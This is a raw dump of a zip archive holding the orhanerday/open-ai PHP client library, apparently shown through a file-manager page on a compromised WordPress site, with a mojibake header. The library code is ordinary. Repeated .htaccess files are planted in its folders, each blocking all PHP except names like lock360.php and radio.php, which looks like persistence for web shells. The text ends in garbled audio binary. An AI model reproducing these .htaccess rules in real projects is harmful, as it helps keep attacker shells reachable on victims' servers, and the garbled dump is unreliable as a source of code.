���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/zhaagvlk/public_html/wp-includes/Requests/library/block-bindings/orhanerday.zip
���ѧ٧ѧ�
PK �u\9��ܤ � .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �u\Q��2 2 open-ai/src/OpenAi.phpnu �[��� <?php namespace Orhanerday\OpenAi; use Exception; class OpenAi { private string $engine = "davinci"; private string $model = "text-davinci-002"; private string $chatModel = "gpt-3.5-turbo"; private array $headers; private array $contentTypes; private int $timeout = 0; private object $stream_method; private string $customUrl = ""; private string $proxy = ""; private array $curlInfo = []; public function __construct($OPENAI_API_KEY) { $this->contentTypes = [ "application/json" => "Content-Type: application/json", "multipart/form-data" => "Content-Type: multipart/form-data", ]; $this->headers = [ $this->contentTypes["application/json"], "Authorization: Bearer $OPENAI_API_KEY", ]; } /** * @return array * Remove this method from your code before deploying */ public function getCURLInfo() { return $this->curlInfo; } /** * @return bool|string */ public function listModels() { $url = Url::fineTuneModel(); $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $model * @return bool|string */ public function retrieveModel($model) { $model = "/$model"; $url = Url::fineTuneModel().$model; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $opts * @return bool|string * @deprecated */ public function complete($opts) { $engine = $opts['engine'] ?? $this->engine; $url = Url::completionURL($engine); unset($opts['engine']); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @param null $stream * @return bool|string * @throws Exception */ public function completion($opts, $stream = null) { if (array_key_exists('stream', $opts) && $opts['stream']) { if ($stream == null) { throw new Exception( 'Please provide a stream function. Check https://github.com/orhanerday/open-ai#stream-example for an example.' ); } $this->stream_method = $stream; } $opts['model'] = $opts['model'] ?? $this->model; $url = Url::completionsURL(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function createEdit($opts) { $url = Url::editsUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function image($opts) { $url = Url::imageUrl()."/generations"; $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function imageEdit($opts) { $url = Url::imageUrl()."/edits"; $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function createImageVariation($opts) { $url = Url::imageUrl()."/variations"; $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string * @deprecated */ public function search($opts) { $engine = $opts['engine'] ?? $this->engine; $url = Url::searchURL($engine); unset($opts['engine']); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string * @deprecated */ public function answer($opts) { $url = Url::answersUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string * @deprecated */ public function classification($opts) { $url = Url::classificationsUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function moderation($opts) { $url = Url::moderationUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @param null $stream * @return bool|string * @throws Exception */ public function chat($opts, $stream = null) { if ($stream != null && array_key_exists('stream', $opts)) { if (!$opts['stream']) { throw new Exception( 'Please provide a stream function. Check https://github.com/orhanerday/open-ai#stream-example for an example.' ); } $this->stream_method = $stream; } $opts['model'] = $opts['model'] ?? $this->chatModel; $url = Url::chatUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function transcribe($opts) { $url = Url::transcriptionsUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function translate($opts) { $url = Url::translationsUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param $opts * @return bool|string */ public function uploadFile($opts) { $url = Url::filesUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @return bool|string */ public function listFiles() { $url = Url::filesUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $file_id * @return bool|string */ public function retrieveFile($file_id) { $file_id = "/$file_id"; $url = Url::filesUrl().$file_id; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $file_id * @return bool|string */ public function retrieveFileContent($file_id) { $file_id = "/$file_id/content"; $url = Url::filesUrl().$file_id; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $file_id * @return bool|string */ public function deleteFile($file_id) { $file_id = "/$file_id"; $url = Url::filesUrl().$file_id; $this->baseUrl($url); return $this->sendRequest($url, 'DELETE'); } /** * @param $opts * @return bool|string */ public function createFineTune($opts) { $url = Url::fineTuneUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @return bool|string */ public function listFineTunes() { $url = Url::fineTuneUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $fine_tune_id * @return bool|string */ public function retrieveFineTune($fine_tune_id) { $fine_tune_id = "/$fine_tune_id"; $url = Url::fineTuneUrl().$fine_tune_id; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $fine_tune_id * @return bool|string */ public function cancelFineTune($fine_tune_id) { $fine_tune_id = "/$fine_tune_id/cancel"; $url = Url::fineTuneUrl().$fine_tune_id; $this->baseUrl($url); return $this->sendRequest($url, 'POST'); } /** * @param $fine_tune_id * @return bool|string */ public function listFineTuneEvents($fine_tune_id) { $fine_tune_id = "/$fine_tune_id/events"; $url = Url::fineTuneUrl().$fine_tune_id; $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $fine_tune_id * @return bool|string */ public function deleteFineTune($fine_tune_id) { $fine_tune_id = "/$fine_tune_id"; $url = Url::fineTuneModel().$fine_tune_id; $this->baseUrl($url); return $this->sendRequest($url, 'DELETE'); } /** * @param * @return bool|string * @deprecated */ public function engines() { $url = Url::enginesUrl(); $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $engine * @return bool|string * @deprecated */ public function engine($engine) { $url = Url::engineUrl($engine); $this->baseUrl($url); return $this->sendRequest($url, 'GET'); } /** * @param $opts * @return bool|string */ public function embeddings($opts) { $url = Url::embeddings(); $this->baseUrl($url); return $this->sendRequest($url, 'POST', $opts); } /** * @param int $timeout */ public function setTimeout(int $timeout) { $this->timeout = $timeout; } /** * @param string $proxy */ public function setProxy(string $proxy) { if ($proxy && strpos($proxy, '://') === false) { $proxy = 'https://'.$proxy; } $this->proxy = $proxy; } /** * @param string $customUrl * @deprecated */ /** * @param string $customUrl * @return void */ public function setCustomURL(string $customUrl) { if ($customUrl != "") { $this->customUrl = $customUrl; } } /** * @param string $customUrl * @return void */ public function setBaseURL(string $customUrl) { if ($customUrl != '') { $this->customUrl = $customUrl; } } /** * @param array $header * @return void */ public function setHeader(array $header) { if ($header) { foreach ($header as $key => $value) { $this->headers[$key] = $value; } } } /** * @param string $org */ public function setORG(string $org) { if ($org != "") { $this->headers[] = "OpenAI-Organization: $org"; } } /** * @param string $url * @param string $method * @param array $opts * @return bool|string */ private function sendRequest(string $url, string $method, array $opts = []) { $post_fields = json_encode($opts); if (array_key_exists('file', $opts) || array_key_exists('image', $opts)) { $this->headers[0] = $this->contentTypes["multipart/form-data"]; $post_fields = $opts; } else { $this->headers[0] = $this->contentTypes["application/json"]; } $curl_info = [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => $this->timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => $method, CURLOPT_POSTFIELDS => $post_fields, CURLOPT_HTTPHEADER => $this->headers, ]; if ($opts == []) { unset($curl_info[CURLOPT_POSTFIELDS]); } if (!empty($this->proxy)) { $curl_info[CURLOPT_PROXY] = $this->proxy; } if (array_key_exists('stream', $opts) && $opts['stream']) { $curl_info[CURLOPT_WRITEFUNCTION] = $this->stream_method; } $curl = curl_init(); curl_setopt_array($curl, $curl_info); $response = curl_exec($curl); $info = curl_getinfo($curl); $this->curlInfo = $info; curl_close($curl); return $response; } /** * @param string $url */ private function baseUrl(string &$url) { if ($this->customUrl != "") { $url = str_replace(Url::ORIGIN, $this->customUrl, $url); } } } PK �u\9��ܤ � open-ai/src/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �u\(|E�; ; open-ai/src/Url.phpnu �[��� <?php namespace Orhanerday\OpenAi; class Url { public const ORIGIN = 'https://api.openai.com'; public const API_VERSION = 'v1'; public const OPEN_AI_URL = self::ORIGIN . "/" . self::API_VERSION; /** * @deprecated * @param string $engine * @return string */ public static function completionURL(string $engine): string { return self::OPEN_AI_URL . "/engines/$engine/completions"; } /** * @return string */ public static function completionsURL(): string { return self::OPEN_AI_URL . "/completions"; } /** * * @return string */ public static function editsUrl(): string { return self::OPEN_AI_URL . "/edits"; } /** * @param string $engine * @return string */ public static function searchURL(string $engine): string { return self::OPEN_AI_URL . "/engines/$engine/search"; } /** * @param * @return string */ public static function enginesUrl(): string { return self::OPEN_AI_URL . "/engines"; } /** * @param string $engine * @return string */ public static function engineUrl(string $engine): string { return self::OPEN_AI_URL . "/engines/$engine"; } /** * @param * @return string */ public static function classificationsUrl(): string { return self::OPEN_AI_URL . "/classifications"; } /** * @param * @return string */ public static function moderationUrl(): string { return self::OPEN_AI_URL . "/moderations"; } /** * @param * @return string */ public static function transcriptionsUrl(): string { return self::OPEN_AI_URL . "/audio/transcriptions"; } /** * @param * @return string */ public static function translationsUrl(): string { return self::OPEN_AI_URL . "/audio/translations"; } /** * @param * @return string */ public static function filesUrl(): string { return self::OPEN_AI_URL . "/files"; } /** * @param * @return string */ public static function fineTuneUrl(): string { return self::OPEN_AI_URL . "/fine-tunes"; } /** * @param * @return string */ public static function fineTuneModel(): string { return self::OPEN_AI_URL . "/models"; } /** * @param * @return string */ public static function answersUrl(): string { return self::OPEN_AI_URL . "/answers"; } /** * @param * @return string */ public static function imageUrl(): string { return self::OPEN_AI_URL . "/images"; } /** * @param * @return string */ public static function embeddings(): string { return self::OPEN_AI_URL . "/embeddings"; } /** * @param * @return string */ public static function chatUrl(): string { return self::OPEN_AI_URL . "/chat/completions"; } } PK �u\9��ܤ � open-ai/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �u\a[K&� � open-ai/composer.jsonnu �[��� { "name": "orhanerday/open-ai", "description": "OpenAI GPT-3 Api Client in PHP", "keywords": [ "orhanerday", "open-ai" ], "homepage": "https://github.com/orhanerday/open-ai", "license": "MIT", "authors": [ { "name": "Orhan Erday", "email": "orhanerday@gmail.com", "role": "Developer" } ], "require": { "php": ">=7.4", "ext-curl": "*", "ext-json": "*" }, "require-dev": { "friendsofphp/php-cs-fixer": "^3.0", "pestphp/pest": "^1.20", "spatie/ray": "^1.28" }, "autoload": { "psr-4": { "Orhanerday\\OpenAi\\": "src" } }, "autoload-dev": { "psr-4": { "Orhanerday\\OpenAi\\Tests\\": "tests" } }, "scripts": { "test": "vendor/bin/pest", "test-coverage": "vendor/bin/pest --coverage", "format": "vendor/bin/php-cs-fixer fix --allow-risky=yes" }, "config": { "sort-packages": true, "allow-plugins": { "pestphp/pest-plugin": true } }, "minimum-stability": "dev", "prefer-stable": true } PK �u\���ck k open-ai/CHANGELOG.mdnu �[��� # Changelog All notable changes to `open-ai` will be documented in this file. ## 3.5 - 2023-02-10 ### What's Changed - Fix "export-ignore" does not work by @assert6 in https://github.com/orhanerday/open-ai/pull/43 - Update README.md by @ali-wells in https://github.com/orhanerday/open-ai/pull/45 - Bump dependabot/fetch-metadata from 1.3.5 to 1.3.6 by @dependabot in https://github.com/orhanerday/open-ai/pull/47 - Add customURL support. by @orhanerday in https://github.com/orhanerday/open-ai/pull/49 ### New Contributors - @assert6 made their first contribution in https://github.com/orhanerday/open-ai/pull/43 - @ali-wells made their first contribution in https://github.com/orhanerday/open-ai/pull/45 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/3.4...3.5 ## 3.4 - 2023-01-03 ### What's Changed - Add organization support. by @orhanerday in https://github.com/orhanerday/open-ai/pull/40 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/3.3...3.4 ## 3.3 - 2022-12-28 ### What's Changed - Feature request: support stream by @orhanerday in https://github.com/orhanerday/open-ai/pull/37 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/3.2.1...3.3 ## 3.2.1 - 2022-12-07 ### What's Changed - Update README.md by @orhanerday **Full Changelog**: https://github.com/orhanerday/open-ai/compare/3.2...3.2.1 ## 3.2 - 2022-12-06 ### What's Changed - Ability to set a timeout value in seconds by @dsampaolo in https://github.com/orhanerday/open-ai/pull/31 ### New Contributors - @dsampaolo made their first contribution in https://github.com/orhanerday/open-ai/pull/31 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/3.1...3.2 ## 3.1 - 2022-11-22 ### What's Changed - Bump dependabot/fetch-metadata from 1.3.4 to 1.3.5 by @dependabot in https://github.com/orhanerday/open-ai/pull/28 - Fix tests by @adetch in https://github.com/orhanerday/open-ai/pull/29 - Add current completion endpoint by @adetch in https://github.com/orhanerday/open-ai/pull/30 ### New Contributors - @adetch made their first contribution in https://github.com/orhanerday/open-ai/pull/29 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/3.0...3.1 ## 3.0 - 2022-11-04 ### What's Changed - List models by @orhanerday in https://github.com/orhanerday/open-ai/pull/22 - Implement edit feature by @orhanerday in https://github.com/orhanerday/open-ai/pull/23 - Add Images feature by @orhanerday in https://github.com/orhanerday/open-ai/pull/24 - Embeddings feature by @orhanerday in https://github.com/orhanerday/open-ai/pull/25 - Add retrieve file content by @orhanerday in https://github.com/orhanerday/open-ai/pull/26 - Add deprecated methods by @orhanerday in https://github.com/orhanerday/open-ai/pull/27 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/2.3...3.0 ## 2.3 - 2022-11-04 ### What's Changed - Fix documentation for Url Class by @Muchwat in https://github.com/orhanerday/open-ai/pull/18 - Bump dependabot/fetch-metadata from 1.3.3 to 1.3.4 by @dependabot in https://github.com/orhanerday/open-ai/pull/19 - feat: Add image generation api by @SheepFromHeaven in https://github.com/orhanerday/open-ai/pull/21 ### New Contributors - @Muchwat made their first contribution in https://github.com/orhanerday/open-ai/pull/18 - @SheepFromHeaven made their first contribution in https://github.com/orhanerday/open-ai/pull/21 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/2.2...2.3 ## 2.2 - 2022-09-15 ### What's Changed - API for content filter, unit testing fixed and added documentation for content filtering by @bashar94 in https://github.com/orhanerday/open-ai/pull/17 ### New Contributors - @bashar94 made their first contribution in https://github.com/orhanerday/open-ai/pull/17 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/2.1...2.2 ## 2.1 - 2022-05-29 ### What's Changed - Adding more capabilities by @orhanerday in https://github.com/orhanerday/open-ai/pull/11 - Files - Fine-tuning ### New Contributors - @orhanerday made their first contribution in https://github.com/orhanerday/open-ai/pull/11 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/2.0...2.1 ## 2.0 - 2022-05-28 ### What's Changed - Orhanerday/open-ai now supports file uploads - Bump dependabot/fetch-metadata from 1.1.1 to 1.2.0 by @dependabot in https://github.com/orhanerday/open-ai/pull/3 - Bump dependabot/fetch-metadata from 1.2.0 to 1.2.1 by @dependabot in https://github.com/orhanerday/open-ai/pull/4 - Bump dependabot/fetch-metadata from 1.2.1 to 1.3.0 by @dependabot in https://github.com/orhanerday/open-ai/pull/5 - Bump actions/checkout from 2 to 3 by @dependabot in https://github.com/orhanerday/open-ai/pull/6 - Bump dependabot/fetch-metadata from 1.3.0 to 1.3.1 by @dependabot in https://github.com/orhanerday/open-ai/pull/7 ### New Contributors - @dependabot made their first contribution in https://github.com/orhanerday/open-ai/pull/3 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/1.1...2.0 ## 1.1 - 2022-02-01 ### **Big new** - [orhanerday/open-ai](https://github.com/orhanerday/open-ai) now supports PHP 8 ## What's Changed - Remove duplicate entry from the changelog by @johanvanhelden in https://github.com/orhanerday/open-ai/pull/1 - Allow PHP8 by @mydnic in https://github.com/orhanerday/open-ai/pull/2 ## New Contributors - @johanvanhelden made their first contribution in https://github.com/orhanerday/open-ai/pull/1 - @mydnic made their first contribution in https://github.com/orhanerday/open-ai/pull/2 **Full Changelog**: https://github.com/orhanerday/open-ai/compare/1.0.0...1.1 ## 1.0.0 - 2021-12-22 - initial release PK �u\�"TG G open-ai/LICENSE.mdnu �[��� The MIT License (MIT) Copyright (c) orhanerday <orhanerday@gmail.com> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. PK �u\9��ܤ � open-ai/files/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �u\O�t� � ! open-ai/files/sample_file_1.jsonlnu �[��� {"text": "puppy A is happy", "metadata": "emotional state of puppy A"} {"text": "puppy B is sad", "metadata": "emotional state of puppy B"}PK �u\+A 7� 7� # open-ai/files/en-marvel-endgame.m4anu �[��� ftypmp42 mp41isom (uuid\��2�B�ae� �� 10.0.22621.0 pdin ^� �Tmdat xmvhd �)� �)� �� @ �trak \tkhd �)��)� @ Qmdia mdhd �)��)� �� U� -hdlr soun SoundHandler �minf smhd $dinf dref url �stbl dstsd Tmp4a �� 0esds ��� ���@ � � ���� stts stsc stsz stco stss (mvex trex @moof mfhd (traf tfhd � trun � q � <